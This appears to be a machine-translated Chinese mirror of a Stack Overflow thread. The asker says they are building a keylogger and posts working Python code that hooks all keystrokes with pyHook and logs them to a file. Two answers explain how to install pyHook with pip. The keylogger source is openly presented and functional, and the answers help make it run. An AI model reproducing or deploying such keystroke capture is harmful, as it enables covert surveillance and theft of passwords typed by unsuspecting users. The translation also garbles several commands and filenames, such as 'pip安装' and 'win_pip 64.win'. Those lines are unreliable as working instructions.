首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何下载PyHook模块

如何下载PyHook模块
EN

Stack Overflow用户
提问于 2016-08-10 18:21:17
回答 2查看 14.8K关注 0票数 1

我尝试过安装PyHook,但仍然会遇到错误:

ImportError:没有名为‘py钩子’的模块

请给我一个解决办法。我如何解决这个错误。

我在做一个关键记录器程序。

代码语言:javascript
复制
**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

请参考屏幕截图中的错误。

EN

回答 2

Stack Overflow用户

发布于 2016-08-10 18:37:07

首先,只需检查您正在运行的python版本,在我的例子中,当我输入python时,我会看到:

Python2.7.11 (v2.7.11:6d1b6a68f775,2015年12月5日,20:40:30)

这意味着我需要安装python2.7的64位版本,最简单的方法是下载本网站提供的py钩子包,然后将其保存在您的虚拟目录(如果您正在使用)或您的python文件夹中。然后打开命令提示符,转到下载包的路径,只需键入pip install the_name_of_your_package.whl,例如,如果您运行python2.764位,您可以键入:

pip安装pyHook-1.5.1-cp27-无-win_amd64.whl

一旦安装正确,您的脚本就可以正常工作了。

票数 2
EN

Stack Overflow用户

发布于 2016-08-10 18:42:01

第一次。如果您想要PyHook,您必须自己下载它,因为它不是python附带的标准python库的一部分。你可以用我的方法来安装它。但我推荐的方式是:

1。从PyHook页面下载确保下载的内容与您的python版本和位号(32或64)匹配。

2。下一步,在命令提示符/终端窗口中键入:

pip安装完整路径和.whl文件名

此命令告诉pip安装PyHook for。在我的例子中,我输入:

pip安装C:\pyHook-1.5.1-cp35-无-win_pip 64.win‘

在这样做之后,您的脚本应该没有任何问题地运行。如果使用此方法确实遇到任何问题,请检查是否安装了正确的python版本和正确的位号。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/38880842

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档